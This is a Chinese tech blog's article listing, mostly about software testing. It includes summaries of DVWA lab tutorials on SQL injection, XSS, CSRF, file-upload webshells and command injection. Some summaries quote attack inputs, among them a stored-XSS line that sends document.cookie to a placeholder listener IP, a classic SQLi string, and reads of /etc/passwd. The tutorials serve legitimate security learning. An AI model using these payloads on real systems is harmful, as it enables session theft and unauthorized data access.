自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(50)
  • 收藏
  • 关注

原创 UI 自动化测试中元素被遮挡无法点击的解决方案(Selenium + Python 实战)

UI自动化测试中元素被遮挡无法点击是常见问题。本文通过电商H5首页「人气推荐」点击失败案例,提出三种解决方案:滚动到可见区域、等待元素可点击、JS点击兜底。推荐在BasePage封装增强版click()方法,集成滚动、等待和JS兜底机制,实现一行代码调用,提高脚本稳定性。该方法已应用于实际测试用例,有效解决元素遮挡问题,减少无效报错。

2025-09-17 13:41:30 191

原创 count() 查询语句的性能问题

这篇文章分析了电商系统中一个统计未删除且已上架商品总数的慢SQL查询问题。作者发现该COUNT查询耗时2.19秒,扫描了102万行数据却只返回1个结果,原因是缺乏合适的索引导致全表扫描。通过执行计划分析确认了这个问题。文章给出了四个优化建议:添加delete_status和publish_status的联合索引、利用覆盖索引特性、引入Redis缓存结果、以及针对大数据量的分表方案。预估优化后查询时间可从2秒降至20毫秒(索引优化)或5毫秒(缓存优化)。这些优化方案按照实施成本从低到高排序,适用于不同规模的系

2025-08-05 17:38:29 389

原创 从性能测试工程师视角看接口耗时问题排查

摘要:本文系统介绍了性能测试中接口响应慢问题的排查思路。从JMeter压测入手,分析接口耗时构成(网络、网关、应用、数据库等),逐层排查可能的问题点,包括前端耗时、网关层、应用日志打点、数据库查询优化、缓存命中、远程调用、线程池及JVM性能等。通过商品搜索接口案例,展示了深分页导致的SQL性能问题及优化方案。最后总结了各层级的定位工具和策略,为性能测试工程师提供了一套完整的接口性能问题分析方法论。(149字)

2025-08-05 13:58:58 796

原创 深分页性能问题分析与优化实践

摘要: 本文记录了在百万级商品数据的分页查询接口压测中发现的深分页性能问题。测试发现,当pageNum=100000时,响应时间比正常分页慢40%,吞吐量下降25%。分析显示,深分页SQL(LIMIT 99990,10)会全表扫描索引,导致性能骤降。优化建议包括:改用游标分页(基于last_id)、创建复合索引(delete_status,publish_status,id)及分页缓存方案。核心结论是offset分页在数据量大时性能急剧下降,需通过索引优化或分页方式改进来提升性能。

2025-07-26 16:32:55 905

原创 慢 SQL接口性能优化实战

摘要:某电商项目/product/search接口在压测中出现性能瓶颈,响应时间达5-10秒。通过开启MySQL慢查询日志,发现存在全表扫描问题。优化措施包括添加联合索引、改进模糊查询模式、引入全文索引等。最终实现接口性能显著提升,并总结出"开启慢查询监控-定位问题SQL-针对性优化"的标准化处理流程。建议数据量大时采用Elasticsearch等专业搜索方案。本文详细记录了从问题发现到解决的全过程,为类似场景提供参考。

2025-07-23 23:28:44 1459 2

原创 用JMeter模拟缓存雪崩导致登录接口性能问题的实战

本文通过JMeter压测模拟Redis验证码缓存失效场景,分析登录接口性能下降问题。实验显示:当Redis缓存存在时,200并发下平均响应时间为10ms;清除缓存后骤增至374ms,数据库压力飙升。排查路径包括:1)压测工具观察指标异常;2)日志分析发现缓存MISS;3)Redis监控确认缓存失效;4)数据库连接数/慢查询监控;5)代码审查缓存重建逻辑。最终提出三大优化方案:设置随机过期时间防雪崩、请求限流、本地缓存兜底。文末附性能排查标准流程图,涵盖从压测到代码审查的全链路分析方法,为测试工程师提供系统性

2025-07-19 04:36:54 1128

原创 “Operation not permitted”通常是因为容器缺少必要的权限导致 Redis 无法启动后台任务

Redis容器启动失败问题排查与解决 摘要:Redis容器启动时出现"Fatal: Can't initialize Background Jobs. Error message: Operation not permitted"错误,这是因容器缺少必要权限导致无法初始化后台任务。解决方案是为容器添加特权模式运行权限,使用命令docker run -d --name redis -p 6379:6379 --privileged redis重新启动即可成功运行Redis服务。通过容器日志

2025-07-19 02:34:56 423

原创 了解下tps,qps和吞吐量

文章摘要:QPS、TPS和吞吐量是衡量系统性能的关键指标。QPS(每秒查询数)统计接口请求处理能力,TPS(每秒事务数)衡量完整业务操作处理能力,吞吐量则反映系统整体处理能力。三者单位不同,应用场景各异:QPS适用于Web接口/数据库,TPS用于电商/支付系统,吞吐量常用于性能测试。通过JMeter工具可监控这些指标,聚合报告显示QPS,事务控制器可估算TPS,还可结合Grafana等工具实现实时监控。理解这些指标差异对系统性能优化至关重要。 (字数:150)

2025-07-17 00:48:16 1365

原创 从 0 构建一个 AI 模型测试小项目(含 pandas+sklearn 实战)

本文介绍了一个AI模型测试验证的完整流程项目。项目使用模拟用户行为数据(包含点击、浏览、购买等事件),通过特征工程(提取时间特征、独热编码)构建预测模型,采用决策树算法判断用户购买行为。项目重点展示了模型评估(分类报告)、偏差分析(按国家和时段统计预测准确率)等测试验证环节,并输出可视化结果。该项目结构清晰,包含数据预处理、模型训练、评估分析和结果可视化全流程,适合AI测试工程师和数据分析初学者学习模型验证方法。代码示例完整,可直接运行测试,核心关注点在于发现模型在不同维度的预测偏差问题。

2025-07-08 16:49:36 552

原创 sqlmap 对 DVWA 进行自动化 SQL 注入测试

SQLMap是一款功能强大的开源SQL注入工具,能够自动检测和利用SQL注入漏洞。它支持多种数据库(MySQL、Oracle等),可自动识别注入点(GET/POST/Cookie等),并能枚举数据库信息、提取数据甚至执行系统命令。常用命令包括基本检测、查看数据库/表/字段、数据导出等,支持代理/WAF绕过。但需注意:未经授权测试违法,可能造成服务崩溃,且遇到强WAF时需配合其他工具。建议仅用于授权测试或靶场练习。

2025-07-08 00:14:24 745

原创 XSStrike 进行 XSS 漏洞测试

XSStrike是一款专业的XSS漏洞检测工具,支持反射型、存储型和DOM型XSS测试。安装需Python3和git,通过克隆仓库并安装依赖即可使用。基本用法包括测试URL参数和带Cookie检测,输出结果包含Payload、触发效率和置信度。常用参数支持POST请求、爬虫、模糊测试等功能。实战建议配合手动测试和Burp Suite使用,对DOM型XSS需结合DevTools调试,遇防火墙可调整速率。工具适用于自动化检测,但需注意误报可能。

2025-07-07 16:05:28 456

原创 pandas数据处理

摘要: Pandas在AI测试中发挥关键作用,包括数据清洗(缺失值/异常值处理、特征工程)、数据验证(预测结果比对)、模型评估(指标统计)及测试报告生成。通过模拟用户行为数据集(含点击、购买等日志),展示了Pandas基础操作(如去重统计、分组聚合)和进阶应用(如时段分析)。结合Pytest实现数据断言测试,验证字段完整性、行为类型合法性和时间格式合规性,确保AI测试数据的可靠性与自动化测试效率。 (字数:150)

2025-06-27 16:34:28 488

原创 了解下pandas

Pandas是Python数据分析的核心库,主要用于处理结构化数据。它提供两种核心数据结构:Series(单列数据)和DataFrame(二维表格)。常用操作包括:数据读取(如CSV)、查看概况(shape/describe)、数据筛选(loc/iloc)、条件查询、排序分组、缺失值处理及结果保存。在AI测试中,Pandas可应用于加载模型结果、验证预测准确性、分析错误分布等场景。示例展示了如何使用Pandas计算模型准确率:通过比较预测列和标签列,计算匹配比例得出准确率(格式化为百分比)。这些功能使其成为

2025-06-27 11:32:51 163

原创 Brute Force(暴力破解)

摘要 本文详细介绍了DVWA平台中的暴力破解漏洞(Brute Force)测试方法。主要内容包括:1) 暴力破解概念及适用场景;2) DVWA漏洞点定位;3) 手动测试流程;4) 使用Burp Suite工具自动爆破的完整步骤,涵盖请求抓取、Intruder配置、payload设置和结果分析等关键环节。通过对比响应长度和内容特征(如"Welcome"提示),可有效识别成功登录的密码。该教程以DVWA安全级别设置为low为前提,适合初学者理解暴力破解原理及实践操作。

2025-06-20 11:07:27 556

原创 SQL 盲注(Blind SQL Injection)

《SQL盲注攻防实践指南》摘要 本文通过DVWA靶场演示SQL盲注攻击技术,包含布尔型和时间型两种盲注方法。布尔型盲注通过页面响应差异判断条件真假,逐步推断数据库信息;时间型盲注利用延迟响应识别结果。文章详细展示了从基础判断到逐字符猜解数据库名的完整过程,并介绍了自动化工具sqlmap的使用。最后强调了参数化查询、输入验证、最小权限和WAF等防御措施。通过实战演练帮助理解盲注原理与防护方法,适合安全研究人员学习参考。

2025-06-18 16:18:21 645

原创 文件上传漏洞(File Upload Vulnerability)

摘要:文件上传漏洞是一种常见安全威胁,攻击者通过上传恶意文件(如WebShell)获取服务器控制权。文章以DVWA环境为例,演示了在Low安全等级下上传PHP木马文件(shell.php)并执行系统命令的操作步骤。此外,还介绍了针对更高安全等级的绕过技巧,如双扩展名、大小写混淆、修改Content-Type等。进阶方法包括利用.htaccess文件强制将图片解析为PHP。最后强调防御措施:严格校验文件类型、重命名存储、禁用上传目录执行权限等。

2025-06-18 01:27:44 973

原创 CSRF(跨站请求伪造)

摘要:本文介绍了CSRF(跨站请求伪造)攻击原理及在DVWA平台上的实战演示。攻击者利用已登录用户的cookie权限,通过诱导访问恶意页面(如自动提交密码修改表单的HTML文件)实现未授权操作。实验步骤包括:1)搭建DVWA测试环境;2)构造CSRF攻击页面;3)启动HTTP服务器模拟攻击;4)验证密码是否被篡改。防御措施包括采用CSRF Token机制,该机制在DVWA高安全等级中已启用。实验结果证明,低防护级别下CSRF攻击可成功修改用户密码。(149字)

2025-06-17 09:50:20 393

原创 Command Injection(命令注入)

命令注入漏洞分析与实践 命令注入是一种严重的Web安全漏洞,攻击者能够通过提交恶意输入在服务器上执行系统命令。本文总结了命令注入的主要目的包括获取系统信息、文件操作、远程控制服务器、横向移动和提权尝试。介绍了典型的使用场景如表单参数拼接命令和调用系统工具接口。 文中详细列举了Linux系统中常见的命令注入符号(如;、&&、|等)和攻击者常用的系统命令(whoami、cat /etc/passwd等)。最后提供了在DVWA靶场中的实践步骤,包括设置安全级别、正常输入测试以及执行命令注入的示例。

2025-06-16 12:34:57 844

原创 使用存储型 XSS 窃取 cookie 并发送到你控制的服务器

📌 DVWA存储型XSS窃取Cookie实验步骤 1️⃣ 搭建监听服务 使用Python启动HTTP服务器(端口8081)或Flask应用接收数据 确保防火墙开放端口 2️⃣ 注入恶意脚本 在DVWA的存储型XSS页面提交Payload: new Image().src="http://监听IP:8081/log?c="+document.cookie; 注意替换IP地址(容器环境需用特殊地址) 3️⃣ 获取Cookie 访问含XSS的页面触发脚本 监听终端将显示窃取的Cookie信息(如PHPSESSI

2025-06-15 11:38:50 395

原创 DOM-Based XSS(基于文档对象模型的跨站脚本攻击)

DOM XSS攻击分析及DVWA环境实践 摘要:本文介绍了DOM型XSS漏洞的原理,通过DVWA靶场进行实践演示。DOM XSS不同于传统反射/存储型XSS,它通过恶意篡改URL参数,利用前端JavaScript未经处理的动态插入实现攻击。文章详细展示了在DVWA环境中利用default参数注入<script>alert('XSS')</script>等恶意代码的过程,并解析了漏洞成因——未过滤URL参数直接插入HTML。还提供了多种绕过WAF的payload示例,包括隐形脚本和on

2025-06-15 10:06:25 420

原创 Stored XSS(存储型跨站脚本攻击)

这篇教程展示了如何在DVWA环境中进行存储型XSS攻击测试。首先进入XSS存储型漏洞页面,在留言板表单中输入包含<script>alert('Stored XSS')</script>的payload,提交后验证脚本是否持久存储。接着介绍了三种绕过过滤的变种XSS payload:利用img标签的onerror事件、svg标签的onload事件,以及javascript伪协议的a链接。每次攻击成功后页面都会弹出提示框,证明漏洞存在。该实验主要帮助理解存储型XSS的特点和常见绕过方法。

2025-06-13 11:48:09 239

原创 XSS (Reflected)-反射型XSS

摘要: 通过DVWA的反射型XSS漏洞实验,验证了未过滤用户输入的危险性。测试使用<script>alert('XSS')</script>等基础payload可触发弹窗,并确认攻击代码被直接反射到URL和页面中。进一步尝试了<img src=x onerror=alert>、SVG事件和javascript伪协议等绕过方式,均成功执行。实验证明该页面缺乏输入过滤和输出编码,存在典型反射型XSS漏洞。建议实施HTML实体编码等防御措施。 (字数:149)

2025-06-13 10:41:39 373

原创 SQL 注入(SQL Injection)

SQL注入是一种利用Web应用漏洞向数据库注入恶意SQL代码的攻击技术,可能导致数据泄露、篡改或系统控制。攻击者可通过DVWA平台模拟SQL注入,如输入1' OR '1'='1获取所有用户数据。常见注入场景包括登录表单、搜索框和URL参数等。防范措施包括使用预编译语句、ORM框架、输入校验和最小权限原则。通过DVWA练习可了解注入原理与防护方法,提高安全意识。

2025-06-11 11:29:38 514

原创 设计测试用例模板

我会从以下几个维度设计上传文件的测试用例:功能性测试、边界值测试、兼容性测试、异常处理、安全性测试、性能测试

2025-04-19 17:21:06 985

原创 pytest自动化中关于使用fixture是否影响用例的独立性

只要 fixture 是“每个用例都能独立用”的工具,它就是帮助测试保持独立的;只有当它变成“多个测试共用的状态容器”,才会破坏独立性。scope=“session” 本身不是坏事,但如果 fixture 中包含用户态、系统态、会变的内容,就可能导致耦合问题。配置类 OK,状态类要谨慎。

2025-04-17 19:39:16 814

原创 怎样才能设计好的自动化测试用例

设计一个,就像写一段“自解释的、高质量的代码”——它应该清晰、可靠、独立、易维护,而且对测试目标有价值。

2025-04-17 19:00:18 568

原创 对一个 Web 登录页面进行安全测试

使用 Burp Suite 的 Intruder 模块尝试多次猜密码(如字典攻击)如果没有加 HttpOnly 或 Secure,说明会话容易被劫持。可能使用 PHP + MySQL(通过响应头或页面信息猜测)如果不加验证码就能登录进去了,说明存在 SQL 注入。应该统一提示:“用户名或密码错误”,防止用户枚举。测试目标:登录功能是否安全。如果能访问说明存在越权漏洞。Session 是否安全?登录后是否存在越权问题?是否防 SQL 注入?是否使用 HTTPS?是否有暴力破解防护?

2025-04-16 18:48:09 595

原创 了解一下安全测试的流程

工具推荐:Burp Suite、OWASP ZAP、Nikto、Postman + jwt.io、SQLMap。工具推荐:Nmap、WhatWeb、Shodan。

2025-04-15 22:29:08 385

原创 了解一下安全测试

安全测试(Security Testing) 是软件测试的一种,旨在发现系统中的安全漏洞,确保系统数据和资源不会被未经授权的用户访问或篡改。

2025-04-15 22:20:51 544

原创 配置 Docker 使用代理访问 DockerHub

配置 Docker 使用代理访问 DockerHub

2025-04-11 05:31:29 614

原创 了解性能测试7个标准步骤

1️⃣ 明确目标 ➝2️⃣ 设计场景 ➝3️⃣ 编写脚本(JMX)➝4️⃣ 设置线程组参数 ➝5️⃣ 压测运行 ➝6️⃣ 收集分析报告 ➝7️⃣ 定位瓶颈 + 调优。

2025-04-09 16:08:29 500

原创 JMeter 性能测试常见问题 & 优化建议

JMeter 性能测试常见问题 & 优化建议

2025-04-09 00:17:20 648

原创 大数据测试案例:用户行为日志分析系统测试

1. 数据完整性:确保所有日志数据都成功存入HDFS。 2. 数据准确性:确保日志数据的转换和清洗符合规则。 3. 查询性能:确保Hive查询能在规定时间内返回结果。 4. 兼容性测试:支持多种日志格式,如JSON、CSV、Parquet。

2025-04-01 19:40:53 569

原创 了解大数据测试

大数据测试不仅仅是“更大规模的数据测试”,它涵盖了更复杂的系统、更高的性能要求和更强的安全保障。掌握合适的工具、制定有效的测试策略,是确保大数据平台稳定、可靠运行的关键。

2025-04-01 19:31:53 387

原创 了解测试计划

本测试计划旨在验证[项目名称]的功能和性能,确保其符合需求规范。测试计划的编写要详尽且清晰,确保团队所有成员都能理解并执行。根据项目需求和团队的具体情况,灵活调整模板内容和结构。

2024-10-10 17:28:51 346

原创 了解算法测试

算法测试的目的是验证算法的正确性、性能、稳定性等。

2024-09-25 18:29:34 2427

原创 测试用例设计合理且有效

清晰的输入: 明确测试用例的输入数据和操作步骤。预期结果: 详细描述每一步的预期结果,避免模糊不清或多义性。步骤可重复: 测试用例的执行步骤应明确且可重复,保证不同测试人员执行时结果一致。

2024-09-11 21:22:46 419

原创 常见的测试用例设计方法

测试用例设计是确保软件质量和功能符合预期的关键过程。

2024-09-11 21:13:09 393

原创 使用 Selenium 构建的 BasePage 类

使用 Selenium 封装一个基础页面类 BasePage,并展示它的基本功能,包括初始化浏览器、打开网页、查找元素、点击操作、输入文本以及异常处理等。通过封装 BasePage 类,可以更好地复用浏览器操作,提高测试脚本的可维护性和可读性。你可以根据项目需求进一步扩展这个基类,添加更多的通用方法。

2024-09-05 18:39:12 540

原创 pytest中pytest_terminal_summary统计测试执行的情况并生成总结描述

在测试执行结束时生成汇总报告。终端控制台输出:发送到企业微信的结果:init 方法:接收 TerminalReporter 实例并存储在实例变量中。generate_summary 方法:生成测试结果的总结,包括计算统计信息、格式化输出和发送到企业微信。创建 CustomSummaryReporter 实例,并调用 generate_summary 方法以打印总结和发送通知。这种方式将逻辑封装在 CustomSummaryReporter 类中,使得代码更具模块性和可维护性,并且在 pytest_

2024-09-05 12:42:09 688

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除